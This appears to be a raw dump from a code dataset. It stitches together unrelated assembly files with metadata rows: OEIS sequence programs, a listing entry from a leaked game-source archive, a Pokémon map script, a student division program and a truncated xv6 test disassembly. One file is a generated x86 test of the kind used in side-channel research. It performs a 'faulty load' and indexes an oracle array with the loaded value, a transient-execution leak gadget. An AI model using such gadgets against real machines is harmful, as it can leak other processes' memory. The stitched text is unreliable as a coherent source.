; A075870: Numbers k such that 2*k^2 - 4 is a square. ; 2,10,58,338,1970,11482,66922,390050,2273378,13250218,77227930,450117362,2623476242,15290740090,89120964298,519435045698,3027489309890,17645500813642,102845515571962,599427592618130,3493720040136818,20362892648202778,118683635849079850,691738922446276322,4031749898828578082,23498760470525192170,136960812924322574938,798266117075410257458,4652635889528138969810,27117549220093423561402,158052659431032402398602,921198407366100990830210,5369137784765573542582658,31293628301227340264665738 mov $1,2 mov $2,1 lpb $0 sub $0,1 add $1,$2 add $2,$1 add $2,$1 add $1,$2 lpe mov $0,$1
46
490
0.835404
afc192cfcc1cc4f3fc40b76730c62cf5f1b7ded9
144
asm
Assembly
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver0/sfc/ys_w64.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver0/sfc/ys_w64.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver0/sfc/ys_w64.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: ys_w64.asm Type: file Size: 22163 Last-Modified: '2016-05-13T04:50:38Z' SHA-1: 5A3A00130CC3446808BF436D1E56424BC1E91049 Description: null
20.571429
47
0.8125
698fdbb2df32002151b024a7007b403c09713d68
5,956
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2.log_217_114.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2.log_217_114.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2.log_217_114.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r15 push %r8 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x1c009, %rsi lea addresses_UC_ht+0xfd23, %rdi nop nop nop nop cmp $31819, %r15 mov $64, %rcx rep movsq nop nop nop nop sub $59350, %r11 lea addresses_D_ht+0xd469, %rcx clflush (%rcx) nop nop dec %r9 mov (%rcx), %r15d nop nop and %rdi, %rdi lea addresses_D_ht+0xb2c9, %rcx nop dec %r8 mov $0x6162636465666768, %rsi movq %rsi, %xmm6 movups %xmm6, (%rcx) nop nop nop inc %rdi lea addresses_WC_ht+0xbfc9, %rsi nop nop nop nop nop cmp $35111, %r11 mov (%rsi), %r8w nop and %r9, %r9 lea addresses_D_ht+0x17ea9, %rsi lea addresses_WT_ht+0x1ce49, %rdi nop nop dec %rbx mov $22, %rcx rep movsb nop nop nop cmp %rsi, %rsi lea addresses_D_ht+0xfbc9, %rsi lea addresses_WC_ht+0x9fc9, %rdi nop nop sub %r9, %r9 mov $39, %rcx rep movsq nop nop nop nop sub $2985, %rsi lea addresses_WT_ht+0x12fc9, %rsi lea addresses_A_ht+0xa63, %rdi nop nop nop cmp $56575, %rbx mov $1, %rcx rep movsq nop nop cmp %r8, %r8 lea addresses_UC_ht+0x1bfe9, %rdi clflush (%rdi) nop nop nop nop nop cmp %rsi, %rsi movb $0x61, (%rdi) nop nop nop nop cmp %rdi, %rdi lea addresses_normal_ht+0x7bc9, %r11 nop nop nop nop sub %r8, %r8 mov (%r11), %r15d nop nop nop sub %r8, %r8 lea addresses_WT_ht+0x8fc9, %r15 nop nop nop nop nop add $47657, %rbx mov (%r15), %r8 nop nop nop and %rcx, %rcx lea addresses_A_ht+0x1b3b9, %r15 nop nop nop and %rsi, %rsi movb $0x61, (%r15) nop nop nop nop and %r8, %r8 lea addresses_D_ht+0x4109, %rsi lea addresses_A_ht+0x4ac9, %rdi nop nop nop nop sub $64162, %rbx mov $18, %rcx rep movsw nop nop nop sub %rsi, %rsi lea addresses_A_ht+0x14949, %rdi nop nop nop inc %r8 mov $0x6162636465666768, %rsi movq %rsi, %xmm7 and $0xffffffffffffffc0, %rdi vmovntdq %ymm7, (%rdi) nop nop nop nop nop xor $18587, %r15 lea addresses_A_ht+0x79c9, %rsi nop add %rbx, %rbx movw $0x6162, (%rsi) nop nop dec %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r15 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r13 push %r8 push %rbp push %rsi // Store lea addresses_D+0x157c9, %r10 clflush (%r10) nop nop nop nop inc %r13 movw $0x5152, (%r10) nop nop nop inc %r10 // Store lea addresses_US+0x142e1, %r8 nop nop nop nop nop xor $701, %r11 mov $0x5152535455565758, %r12 movq %r12, %xmm3 vmovups %ymm3, (%r8) nop nop nop nop dec %rbp // Store mov $0x3c9, %r10 cmp $25323, %r12 mov $0x5152535455565758, %rsi movq %rsi, (%r10) nop nop nop cmp $6836, %r13 // Faulty Load lea addresses_D+0x157c9, %r10 nop nop nop nop add %rbp, %rbp mov (%r10), %r12w lea oracles, %r13 and $0xff, %r12 shlq $12, %r12 mov (%r13,%r12,1), %r12 pop %rsi pop %rbp pop %r8 pop %r13 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'52': 217} 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 */
21.271429
650
0.649933
90022f7f111f7c13b527efdc15ef1d29a2c49dc8
1,432
asm
Assembly
programs/oeis/196/A196288.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/196/A196288.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/196/A196288.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A196288: n^8 + n. ; 0,2,258,6564,65540,390630,1679622,5764808,16777224,43046730,100000010,214358892,429981708,815730734,1475789070,2562890640,4294967312,6975757458,11019960594,16983563060,25600000020,37822859382,54875873558,78310985304,110075314200,152587890650,208827064602,282429536508,377801998364,500246412990,656100000030,852891037472,1099511627808,1406408618274,1785793904930,2251875390660,2821109907492,3512479453958,4347792138534,5352009260520,6553600000040,7984925229162,9682651996458,11688200277644,14048223625260,16815125390670,20047612231982,23811286661808,28179280429104,33232930569650,39062500000050,45767944570452,53459728531508,62259690411414,72301961339190,83733937890680,96717311574072,111429157112058,128063081718074,146830437604380,167961600000060,191707312997342,218340105584958,248155780267584,281474976710720,318644812890690,360040606269762,406067677556708,457163239653444,513798374428710,576480100000070,645753531245832,722204136308808,806460091894154,899194740203850,1001129150390700,1113034787455052,1235736291547758,1370114370683214,1517108809906640,1677721600000080,1853020188851922,2044140858655058,2252292232139124,2478758911082580,2724905250390710,2992179271065942,3282116715437208,3596345248055384,3936588805702170,4304672100000090,4702525276151612,5132188731375708,5595818096650494,6095689385410910,6634204312890720,7213895789838432,7837433594377058,8507630225817954 mov $1,$0 pow $0,8 add $1,$0
204.571429
1,381
0.912011
ef67defdc7378a6bda03320d7eb8b71e3e8cfb00
762
asm
Assembly
oeis/253/A253579.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/253/A253579.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/253/A253579.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A253579: Centered pentagonal numbers (A005891) which are also centered octagonal numbers (A016754). ; Submitted by Christian Krause ; 1,22801,1666681,47411143081,3465632747641,98584929298781641,7206305041398228481,204993755756525779060081,14984516863488437537571601,426256225957302372068628976801,31158234954289838149958560780201,886340998518823181233611960679431001,64789249751007041918310644423502350281,1843023791361670951550328531410234375734681,134720303940722346462387968371592735523830641,3832313636852500492159075412549014160035737932641,280132280642723510534972963647173503079880026590881 mov $2,$0 mul $0,2 mod $2,2 add $0,$2 seq $0,23113 ; Squares that remain square when the digit 6 is appended. div $0,2 mul $0,3 div $0,5472 mul $0,2280 add $0,1
50.8
465
0.867454
8a495431846a21b2686759d1904d211aefa2f5ef
439
asm
Assembly
programs/oeis/187/A187444.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/187/A187444.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/187/A187444.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A187444: A trisection of A001405 (central binomial coefficients): binomial(3n+2,floor((3n+2)/2))/2, n>=0. ; 1,5,35,231,1716,12155,92378,676039,5200300,38779380,300540195,2268783825,17672631900,134564468610,1052049481860,8061900920775,63205303218876,486734856412028,3824345300380220,29566145391215356 mov $2,1 add $2,$0 mul $2,2 add $0,$2 mov $1,$0 div $0,2 bin $1,$0 mov $0,8 lpb $0 mov $0,7 mul $1,2 lpe sub $1,4 div $1,4 add $1,1
23.105263
193
0.731207
bb7a55e79fc233294cbb8bdeff6f6efea652ea79
484
asm
Assembly
oeis/068/A068912.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/068/A068912.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/068/A068912.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A068912: Number of n step walks (each step +/-1 starting from 0) which are never more than 3 or less than -3. ; Submitted by Jon Maiga ; 1,2,4,8,14,28,48,96,164,328,560,1120,1912,3824,6528,13056,22288,44576,76096,152192,259808,519616,887040,1774080,3028544,6057088,10340096,20680192,35303296,70606592,120532992,241065984,411525376,823050752,1405035520,2810071040 mov $1,1 mov $2,1 lpb $0 sub $0,2 mul $2,2 add $2,$1 add $1,$2 lpe lpb $0 sub $0,1 mul $1,2 lpe mov $0,$1
26.888889
227
0.719008
01a5b741a433f5bed7848f18f96c73ecd70103e5
1,306
asm
Assembly
programs/oeis/301/A301718.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/301/A301718.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/301/A301718.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A301718: Coordination sequence for node of type V2 in "kre" 2-D tiling (or net). ; 1,5,11,17,23,28,33,39,45,51,56,61,67,73,79,84,89,95,101,107,112,117,123,129,135,140,145,151,157,163,168,173,179,185,191,196,201,207,213,219,224,229,235,241,247,252,257,263,269,275,280,285,291,297,303,308,313,319,325,331,336,341,347,353,359,364,369,375,381,387,392,397,403,409,415,420,425,431,437,443,448,453,459,465,471,476,481,487,493,499,504,509,515,521,527,532,537,543,549,555,560,565,571,577,583,588,593,599,605,611,616,621,627,633,639,644,649,655,661,667,672,677,683,689,695,700,705,711,717,723,728,733,739,745,751,756,761,767,773,779,784,789,795,801,807,812,817,823,829,835,840,845,851,857,863,868,873,879,885,891,896,901,907,913,919,924,929,935,941,947,952,957,963,969,975,980,985,991,997,1003,1008,1013,1019,1025,1031,1036,1041,1047,1053,1059,1064,1069,1075,1081,1087,1092,1097,1103,1109,1115,1120,1125,1131,1137,1143,1148,1153,1159,1165,1171,1176,1181,1187,1193,1199,1204,1209,1215,1221,1227,1232,1237,1243,1249,1255,1260,1265,1271,1277,1283,1288,1293,1299,1305,1311,1316,1321,1327,1333,1339,1344,1349,1355,1361,1367,1372,1377,1383,1389,1395 add $0,1 mov $2,1 mov $3,1 mov $4,3 mov $5,1 lpb $0,1 sub $0,1 trn $4,$2 add $5,5 mov $2,$5 trn $2,$0 sub $5,$4 add $5,$3 lpe mov $1,5 add $1,$2 sub $1,10
62.190476
1,052
0.723583
8efcdb4880a6cd5925126d99ff67fb20b707e0fb
316
asm
Assembly
oeis/281/A281228.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/281/A281228.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/281/A281228.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A281228: Expansion of (Sum_{k>=0} x^(3^k))^2 [even terms only]. ; 0,1,2,1,0,2,2,0,0,1,0,0,0,0,2,2,0,0,2,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,2,2,0,0,2,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 mov $2,$0 mul $0,3 bin $0,$2 div $0,3 mod $0,3
35.111111
201
0.525316
1418ec7e041bb724f844874dd9f4bed895f63b76
3,530
asm
Assembly
maps/Route204S.asm
AtmaBuster/pokeplat-gen2
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
[ "blessing" ]
6
2021-06-19T06:41:19.000Z
2022-02-15T17:12:33.000Z
maps/Route204S.asm
AtmaBuster/pokeplat-gen2
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
[ "blessing" ]
null
null
null
maps/Route204S.asm
AtmaBuster/pokeplat-gen2
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
[ "blessing" ]
2
2021-08-11T19:47:07.000Z
2022-01-01T07:07:56.000Z
object_const_def ; object_event constants Route204S_MapScripts: db 0 ; scene scripts db 0 ; callbacks TrainerLassSarah: trainer LASS, SARAH, EVENT_BEAT_LASS_SARAH, .SeenText, .BeatenText, 0, .Script .Script: endifjustbattled opentext writetext .AfterText waitbutton closetext end .SeenText: text "Oh, a weak-looking" line "TRAINER…" para "Do you want to" line "have a go?" done .BeatenText: text "Aww… I should have" line "said no." done .AfterText: text "Oh, you're so mean!" para "I just started" line "training #MON!" done TrainerYoungsterTyler: trainer YOUNGSTER, TYLER, EVENT_BEAT_YOUNGSTER_TYLER, .SeenText, .BeatenText, 0, .Script .Script: endifjustbattled opentext writetext .AfterText waitbutton closetext end .SeenText: text "I'll beat you with" line "the MAGIKARP my" cont "dad gave me!" done .BeatenText: text "But they're the" line "#MON I got from" cont "my dad…" done .AfterText: text "Who gave you your" line "first #MON?" para "Your first #MON" line "is the one with" cont "the most fond" cont "memories, I think." done TrainerLassSamantha: trainer LASS, SAMANTHA1, EVENT_BEAT_LASS_SAMANTHA1, .SeenText, .BeatenText, 0, .Script .Script: endifjustbattled opentext writetext .AfterText waitbutton closetext end .SeenText: text "May I please" line "trouble you for a" cont "battle?" done .BeatenText: text "Oh…" line "You're so strong…" done .AfterText: text "Maybe I could have" line "won if my #MON" cont "held a BERRY…" done Route204_JubilifeSignScript: jumptextsign .Text .Text: text "<SIGN|> ROUTE 204" line "<SIGND> JUBILIFE CITY" done Route204_RavagedPathSignScript: jumptext .Text .Text: text "RAVAGED PATH" done Route204_BoulderKidScript: jumptextfaceplayer .Text .Text: text "There are boulders" line "blocking the way" cont "inside the cavern…" para "I think a #MON's" line "hidden move will" cont "be able to smash" cont "those boulders," cont "though." done Route204_ParlyzHealScript: itemball PARLYZ_HEAL Route204_HPUpScript: itemball HP_UP Route204_SeaIncenseScript: itemball SEA_INCENSE Route204S_MapEvents: db 0, 0 ; filler db 1 ; warp events warp_event 6, 21, RAVAGED_PATH, 1 db 0 ; coord events db 2 ; bg events bg_event 10, 28, BGEVENT_READ, Route204_JubilifeSignScript bg_event 7, 22, BGEVENT_READ, Route204_RavagedPathSignScript db 8 ; object events object_event 8, 32, SPRITE_LASS, SPRITEMOVEDATA_TURN_UP_RIGHT, 0, 0, -1, -1, 0, OBJECTTYPE_TRAINER, 3, TrainerLassSarah, -1 object_event 4, 30, SPRITE_YOUNGSTER, SPRITEMOVEDATA_TURN_LEFT_RIGHT, 0, 0, -1, -1, 0, OBJECTTYPE_TRAINER, 1, TrainerYoungsterTyler, -1 object_event 7, 25, SPRITE_LASS, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, 0, OBJECTTYPE_TRAINER, 3, TrainerLassSamantha, -1 object_event 8, 23, SPRITE_YOUNGSTER, SPRITEMOVEDATA_WALK_LEFT_RIGHT, 1, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, Route204_BoulderKidScript, -1 object_event 9, 18, SPRITE_YOUNGSTER, SPRITEMOVEDATA_WALK_LEFT_RIGHT, 1, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, ObjectEvent, -1 object_event 13, 31, SPRITE_POKE_BALL, SPRITEMOVEDATA_STILL, 0, 0, -1, -1, 0, OBJECTTYPE_ITEMBALL, 0, Route204_ParlyzHealScript, EVENT_ROUTE_204_PARLYZ_HEAL object_event 22, 25, SPRITE_POKE_BALL, SPRITEMOVEDATA_STILL, 0, 0, -1, -1, 0, OBJECTTYPE_ITEMBALL, 0, Route204_HPUpScript, EVENT_ROUTE_204_HP_UP object_event 0, 38, SPRITE_POKE_BALL, SPRITEMOVEDATA_STILL, 0, 0, -1, -1, 0, OBJECTTYPE_ITEMBALL, 0, Route204_SeaIncenseScript, EVENT_ROUTE_204_SEA_INCENSE
22.922078
157
0.750992
f991d05540944e3ef0f3065b8d0e2285eea6646a
256
asm
Assembly
Modules/Module2/6_LoadOperations/moving.asm
hackettccp/CSCI213
c2b5c3e1b5f47fa329a59b0a7261ebeee8e64059
[ "MIT" ]
null
null
null
Modules/Module2/6_LoadOperations/moving.asm
hackettccp/CSCI213
c2b5c3e1b5f47fa329a59b0a7261ebeee8e64059
[ "MIT" ]
null
null
null
Modules/Module2/6_LoadOperations/moving.asm
hackettccp/CSCI213
c2b5c3e1b5f47fa329a59b0a7261ebeee8e64059
[ "MIT" ]
null
null
null
#Demonstrates move operations #Run and look at the $t0, $t1, $t2, and $t3 registers li $t0, 45 #Loads the constant 45 (0x2d) to $t0 li $t1, 79 #Loads the constant 79 (0x4f) to $t1 move $t2, $t1 #Copies $t1 to $t2 move $t3, $t0 #Copies $t0 to $t3
25.6
53
0.644531
1a015f722bb5274c9a65c08a38e7b6f321ac8b65
564
asm
Assembly
oeis/008/A008973.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/008/A008973.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/008/A008973.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A008973: Fibonacci number F(n) to power F(n). ; Submitted by Jon Maiga ; 1,1,1,4,27,3125,16777216,302875106592253,5842587018385982521381124421,11756638905368616011414050501310355554617941909569536,524744532468751923546122657597368049278513737089035272057324643668607677682302892208099365234375,313119843606264301926053344163576361349265045995115651405929697601914062309331717222037671868698420619053704956499930323034173850662765737986672484408801585719796136592384409 seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1. pow $0,$0
80.571429
397
0.858156
1847ed36e08e60831696ce669fa58771dd69d5c3
629
asm
Assembly
fractional divided/fractional division.asm
nasim-aust/AUST_CSE_2214_ASSEMBLY_LAB
c264a198aa6ba330105a1a78c8655461e8188ed8
[ "MIT" ]
2
2017-02-05T00:30:55.000Z
2020-06-07T11:05:09.000Z
fractional divided/fractional division.asm
nasim-aust/AUST_CSE_2214_ASSEMBLY_LAB
c264a198aa6ba330105a1a78c8655461e8188ed8
[ "MIT" ]
null
null
null
fractional divided/fractional division.asm
nasim-aust/AUST_CSE_2214_ASSEMBLY_LAB
c264a198aa6ba330105a1a78c8655461e8188ed8
[ "MIT" ]
null
null
null
.MODEL SMALL .STACK 100H .DATA A DW ? .CODE MAIN PROC CALL INDEC PUSH AX MOV AH,2 MOV DL,0DH INT 21H MOV DL,0AH INT 21H CALL INDEC PUSH AX MOV AH,2 MOV DL,0DH INT 21H MOV DL,0AH INT 21H MOV AH,2 MOV DL,'0' INT 21H MOV AH,2 MOV DL,'.' INT 21H POP AX MOV BX,AX POP AX MOV CX,3D MOV A,10D TOP: MUL A DIV BX ;PUSH AX CALL OUTDEC MOV AX,DX LOOP TOP MOV AH, 4CH INT 21H MAIN ENDP INCLUDE outdec.asm INCLUDE indec.asm END MAIN
10.661017
18
0.483307
791a43fea56d16911c8d1ec5981ad7094847bb51
266
asm
Assembly
src/u2/p7.asm
luishendrix92/lenguajezinterfaz
05d7c0621f3eb99f0134ae100cb451543ff80afc
[ "MIT" ]
null
null
null
src/u2/p7.asm
luishendrix92/lenguajezinterfaz
05d7c0621f3eb99f0134ae100cb451543ff80afc
[ "MIT" ]
null
null
null
src/u2/p7.asm
luishendrix92/lenguajezinterfaz
05d7c0621f3eb99f0134ae100cb451543ff80afc
[ "MIT" ]
null
null
null
; 7 - Frase con offset ; López Garay Luis Felipe ; 15211312 ; 27 de Septiembre del 2018 .Model small .Stack 64 .Data frase db "Ensamblado con ensamblador!", 10, 13, "$" .Code mov ax,@Data mov ds,ax mov dx,offset frase mov ah,09h int 21h .Exit end
11.083333
53
0.665414
d6f85078a27549b9d98e01e9e8fe61b4b61b9e75
428
asm
Assembly
programs/oeis/092/A092391.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/092/A092391.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/092/A092391.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A092391: a(n) = n + wt(n), where wt(n) = A000120(n) = binary weight of n. ; 0,2,3,5,5,7,8,10,9,11,12,14,14,16,17,19,17,19,20,22,22,24,25,27,26,28,29,31,31,33,34,36,33,35,36,38,38,40,41,43,42,44,45,47,47,49,50,52,50,52,53,55,55,57,58,60,59,61,62,64,64,66,67,69,65,67,68,70,70,72,73,75,74,76,77,79,79,81,82,84,82,84,85,87,87,89,90,92,91,93,94,96,96,98,99,101,98,100,101,103 mov $2,$0 mul $0,2 lpb $0 div $2,2 sub $0,$2 lpe
42.8
297
0.623832
65001f4c4f08e58e6ee3c0245f886d62a5562db3
303,702
asm
Assembly
usertests.asm
srally/CS350
8032cb8bbcda6293e572f820868b8a442f684720
[ "MIT-0" ]
null
null
null
usertests.asm
srally/CS350
8032cb8bbcda6293e572f820868b8a442f684720
[ "MIT-0" ]
null
null
null
usertests.asm
srally/CS350
8032cb8bbcda6293e572f820868b8a442f684720
[ "MIT-0" ]
null
null
null
_usertests: file format elf32-i386 Disassembly of section .text: 00000000 <iputtest>: int stdout = 1; // does chdir() call iput(p->cwd) in a transaction? void iputtest(void) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 ec 08 sub $0x8,%esp printf(stdout, "iput test\n"); 6: a1 a8 62 00 00 mov 0x62a8,%eax b: 83 ec 08 sub $0x8,%esp e: 68 0a 44 00 00 push $0x440a 13: 50 push %eax 14: e8 25 40 00 00 call 403e <printf> 19: 83 c4 10 add $0x10,%esp if(mkdir("iputdir") < 0){ 1c: 83 ec 0c sub $0xc,%esp 1f: 68 15 44 00 00 push $0x4415 24: e8 0a 3f 00 00 call 3f33 <mkdir> 29: 83 c4 10 add $0x10,%esp 2c: 85 c0 test %eax,%eax 2e: 79 1b jns 4b <iputtest+0x4b> printf(stdout, "mkdir failed\n"); 30: a1 a8 62 00 00 mov 0x62a8,%eax 35: 83 ec 08 sub $0x8,%esp 38: 68 1d 44 00 00 push $0x441d 3d: 50 push %eax 3e: e8 fb 3f 00 00 call 403e <printf> 43: 83 c4 10 add $0x10,%esp exit(); 46: e8 80 3e 00 00 call 3ecb <exit> } if(chdir("iputdir") < 0){ 4b: 83 ec 0c sub $0xc,%esp 4e: 68 15 44 00 00 push $0x4415 53: e8 e3 3e 00 00 call 3f3b <chdir> 58: 83 c4 10 add $0x10,%esp 5b: 85 c0 test %eax,%eax 5d: 79 1b jns 7a <iputtest+0x7a> printf(stdout, "chdir iputdir failed\n"); 5f: a1 a8 62 00 00 mov 0x62a8,%eax 64: 83 ec 08 sub $0x8,%esp 67: 68 